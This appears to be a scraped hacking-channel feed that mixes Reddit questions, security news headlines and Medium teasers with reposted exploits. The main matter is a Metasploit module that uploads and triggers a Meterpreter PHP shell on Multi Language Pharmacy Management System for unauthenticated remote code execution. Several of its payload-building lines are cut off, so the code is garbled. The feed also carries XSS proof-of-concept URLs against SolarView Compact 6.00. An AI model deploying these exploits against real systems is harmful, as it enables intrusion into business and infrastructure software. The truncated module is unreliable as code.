hacking: security in practice
How to inject/run external Programs in GTA and other games?

I was wondering how to make a Program like the YouTube "DougDoug" did.

He connects the twitch chat to interact with GTA and make things explode or others.

I already know how to connect my twitch(or other chats) with Unity and run actions in my own game, but how to inject code into GTA or run GTA functions??

I have knowledge in HTML, PHP, JS, Java,C#, Lua, Python, but I don't know where to research and start.

But not only GTA ! I want to be able to make a ton of games community interactable, so donations or commands will change Ingame behavior or actions.

submitted by /u/Skytrymotion
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Is penetration testing stressful?
https://www.reddit.com/r/Pentesting/comments/vgraxh/is_penetration_testing_stressful/

People who work as pen testers is your work stressful? How many hours do you guys work for? And do you guys travel a lot? submitted by /u/ELIDAL99 (https://www.reddit.com/user/ELIDAL99)
[link] (https://www.reddit.com/r/Pentesting/comments/vgraxh/is_penetration_testing_stressful/) [comments] (https://www.reddit.com/r/Pentesting/comments/vgraxh/is_penetration_testing_stressful/)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Security Lessons From Protecting Live Events

Security defenders working for large venues and international events need to be able to move at machine speed because they have a limited time to detect and recover from attacks. The show must go on, always.

Dark Reading: Attacks/Breaches
Credential Sharing as a Service: The Hidden Risk of Low-Code/No-Code

Low-code/no-code platforms allow users to embed their existing user identities within an application, increasing the risk of credentials leakage.

Dark Reading: Attacks/Breaches
DDoS Attacks Delay Putin Speech at Russian Economic Forum

A Kremlin spokesman said that the St. Petersburg International Economic Forum accreditation and admissions systems were shut down by a DDoS attack.

Dark Reading: Attacks/Breaches
Name That Toon: Cuter Than a June Bug

Feeling creative? Submit your caption and our panel of experts will reward the winner with a $25 Amazon gift card.

Hacking on Medium
HackThisSite Extended Basic 9

https://cdn-images-1.medium.com/max/700/0*YkVRZlMLIR_rNcNv.jpg
Once again living in the 1800s writing PERL code and hunting for another bug from Captain Kirk. Now writing code to log data is totally…

Continue reading on Medium »

Hacking on Medium
Create a Hidden IRC Server with The Onion Router (TOR)

https://cdn-images-1.medium.com/max/2600/0*5MAM3tiZ1rzgFUS9
A guide to make secret communication with the untraceable IRC server

Continue reading on InfoSec Write-ups »

Exploit Collector
Multi Language Pharmacy Management System 1.0 Shell Upload

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
This Metasploit module exploits the file upload vulnerability of Multi Language Pharmacy Management System to achieve remote code execution.

SHA-256 | 742456930e5e52c2ee76502248a99373d271bc23c86a2afc2380664719fcc4cb

Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Vendor: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download
# Source: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Multi Language Pharmacy Management System Unauthenticated Remote Code Execution",
'Description' => %q{
This module exploits the file upload vulnerability of Multi Language Pharmacy Management System and allows remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Emirhan Kurt
[
['URL', 'https://prodaft.com']
],
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 5,
},
'Platform' => ['php'],
'Arch' => [ ARCH_PHP],
'Targets' =>
[
['PHP payload',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The TARGET URI of the Pharmacy Management', '/'])
]
)
end

def exploit

print_status('Uploading shell...')

fname = rand_text_alphanumeric(rand(10) + 6) + '.php'

boundary = "---------------------------#{rand_text_numeric(29)}"
data_post = "--#{boundary}\r\n"
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<
data_post <<

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'php_action/createProduct.php'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data_post,
})

if res && res.code == 302 && res.body.include?('Image uploaded successfully')
print_good("Shell uploaded as #{fname}")
else
print_error("Server responded with code #{res.code}")
print_error("Failed to upload shell")
return false
end

print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path,'assets/myimages/'+fname),
'method' => 'GET'
}, 5)

if res
print_good("Payload successfully triggered !")
else
print_error("Server responded with code #{res.code}")
print_error("Failed to upload shell")
return false
end

handler

end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
TP-Link AX50 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SolarView Compact 6.00 Cross Site Scripting

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png
SolarView Compact version 6.00 suffers from multiple cross site scripting vulnerabilities.

SHA-256 | 25d560f3ffdb43d77020e39409d019b6357d829359c682ee2a18df30976b41c7

Download
# Exploit Title: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29299
# Tested on: Windows

# Proof Of Concept:

http://IP_ADDRESS/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6
# Exploit Title: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29301
# Tested on: Windows

# Proof Of Concept:
http://IP_ADDRESS/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&bgcolor=green


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video